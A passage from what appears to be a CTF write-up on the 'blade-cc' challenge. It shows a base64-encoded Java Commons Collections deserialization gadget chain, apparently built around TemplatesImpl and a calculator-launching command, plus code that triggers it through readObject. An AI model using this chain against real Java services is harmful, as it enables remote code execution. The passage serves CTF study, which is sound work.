Da1Y0WTJWd2RHbHZibk1IQUMwQkFLWW9UR052YlM5emRXNHZiM0puTDJGd1lXTm9aUzk0WVd4aGJpOXBiblJsY201aGJDOTRjMngwWXk5RVQwMDdUR052YlM5emRXNHZiM0puTDJGd1lXTm9aUzk0Yld3dmFXNTBaWEp1WVd3dlpIUnRMMFJVVFVGNGFYTkpkR1Z5WVhSdmNqdE1ZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2h0YkM5cGJuUmxjbTVoYkM5elpYSnBZV3hwZW1WeUwxTmxjbWxoYkdsNllYUnBiMjVJWVc1a2JHVnlPeWxXQVFBSWFYUmxjbUYwYjNJQkFEVk1ZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2h0YkM5cGJuUmxjbTVoYkM5a2RHMHZSRlJOUVhocGMwbDBaWEpoZEc5eU93RUFCMmhoYm1Sc1pYSUJBRUZNWTI5dEwzTjFiaTl2Y21jdllYQmhZMmhsTDNodGJDOXBiblJsY201aGJDOXpaWEpwWVd4cGVtVnlMMU5sY21saGJHbDZZWFJwYjI1SVlXNWtiR1Z5T3dFQUNEeGpiR2x1YVhRK0FRQUJaUUVBRlV4cVlYWmhMMmx2TDBsUFJYaGpaWEIwYVc5dU93RUFEVk4wWVdOclRXRndWR0ZpYkdVSEFDa0JBQXBUYjNWeVkyVkdhV3hsQVFBSlJYWmhiQzVxWVhaaERBQUpBQW9IQUM0TUFDOEFNQUVBRW05d1pXNGdMV0VnUTJGc1kzVnNZWFJ2Y2d3QU1RQXlBUUFUYW1GMllTOXBieTlKVDBWNFkyVndkR2x2Ymd3QU13QUtBUUFWYjNKbkwyVjRZVzF3YkdVdlFtRnpaUzlGZG1Gc0FRQkFZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2hoYkdGdUwybHVkR1Z5Ym1Gc0wzaHpiSFJqTDNKMWJuUnBiV1V2UVdKemRISmhZM1JVY21GdWMyeGxkQUVBT1dOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NFlXeGhiaTlwYm5SbGNtNWhiQzk0YzJ4MFl5OVVjbUZ1YzJ4bGRFVjRZMlZ3ZEdsdmJnRUFFV3BoZG1FdmJHRnVaeTlTZFc1MGFXMWxBUUFLWjJWMFVuVnVkR2x0WlFFQUZTZ3BUR3BoZG1FdmJHRnVaeTlTZFc1MGFXMWxPd0VBQkdWNFpXTUJBQ2NvVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3S1V4cVlYWmhMMnhoYm1jdlVISnZZMlZ6Y3pzQkFBOXdjbWx1ZEZOMFlXTnJWSEpoWTJVQUlRQUhBQWdBQUFBQUFBUUFBUUFKQUFvQUFRQUxBQUFBTHdBQkFBRUFBQUFGS3JjQUFiRUFBQUFDQUF3QUFBQUdBQUVBQUFBTEFBMEFBQUFNQUFFQUFBQUZBQTRBRHdBQUFBRUFFQUFSQUFJQUN3QUFBRDhBQUFBREFBQUFBYkVBQUFBQ0FBd0FBQUFHQUFFQUFBQVhBQTBBQUFBZ0FBTUFBQUFCQUE0QUR3QUFBQUFBQVFBU0FCTUFBUUFBQUFFQUZBQVZBQUlBRmdBQUFBUUFBUUFYQUFFQUVBQVlBQUlBQ3dBQUFFa0FBQUFFQUFBQUFiRUFBQUFDQUF3QUFBQUdBQUVBQUFBYkFBMEFBQUFxQUFRQUFBQUJBQTRBRHdBQUFBQUFBUUFTQUJNQUFRQUFBQUVBR1FBYUFBSUFBQUFCQUJzQUhBQURBQllBQUFBRUFBRUFGd0FJQUIwQUNnQUJBQXNBQUFCaEFBSUFBUUFBQUJLNEFBSVNBN1lBQkZlbkFBaExLcllBQnJFQUFRQUFBQWtBREFBRkFBTUFEQUFBQUJZQUJRQUFBQTRBQ1FBU0FBd0FFQUFOQUJFQUVRQVRBQTBBQUFBTUFBRUFEUUFFQUI0QUh3QUFBQ0FBQUFBSEFBSk1Cd0FoQkFBQkFDSUFBQUFDQUNOd2RBQUVVSGR1Y25CM0FRQjRjM0lBT205eVp5NWhjR0ZqYUdVdVkyOXRiVzl1Y3k1amIyeHNaV04wYVc5dWN5NW1kVzVqZEc5eWN5NUpiblp2YTJWeVZISmhibk5tYjNKdFpYS0g2UDlyZTN6T09BSUFBMXNBQldsQmNtZHpjUUIrQUFsTUFBdHBUV1YwYUc5a1RtRnRaWEVBZmdBVVd3QUxhVkJoY21GdFZIbHdaWE54QUg0QUszaHdjSFFBRG01bGQxUnlZVzV6Wm05eWJXVnljSGh6Y2dBM2IzSm5MbUZ3WVdOb1pTNWpiMjF0YjI1ekxtTnZiR3hsWTNScGIyNXpMbVoxYm1OMGIzSnpMa052Ym5OMFlXNTBSbUZqZEc5eWVjOGtDcmR0V3lvSUFnQUJUQUFKYVVOdmJuTjBZVzUwY1FCK0FDZDRjSEVBZmdBamNIQndjSEJ3Y0hCd2NIQndjSEJ3Y0hCd2NIQndjSEJ3Y0hCd2NIQndjSEJ3Y0hCd2NIQndjSEJ3Y0hCd2NIQndjSEJ3Y0hCd2NIQndjSEJ3Y0hCd2NIQndjSEJ3Y0hCd2NIQndjSEJ3Y0hCd2NIQndjSEJ3Y0hCd2NIQndjSEJ3Y0hCd2NIZ0FBQUFBQUFBQVpIQjRweHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB4AAAAAAAAAGRweA==";
        byte[] decode = Base64.getDecoder().decode(s);
        System.out.println(new String(decode));
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
        new ObjectInputStream(byteArrayInputStream).readObject();
    }
}

img

https://www.n1ght.cn/2025/08/21/blade_cc/

https://blog.p0l1st.top/2025/08/28/LilCTF-blade-cc/#blade-cc

https://xz.aliyun.com/news/18694

WeChat QR Code
Licensed under CC BY-NC-SA 4.0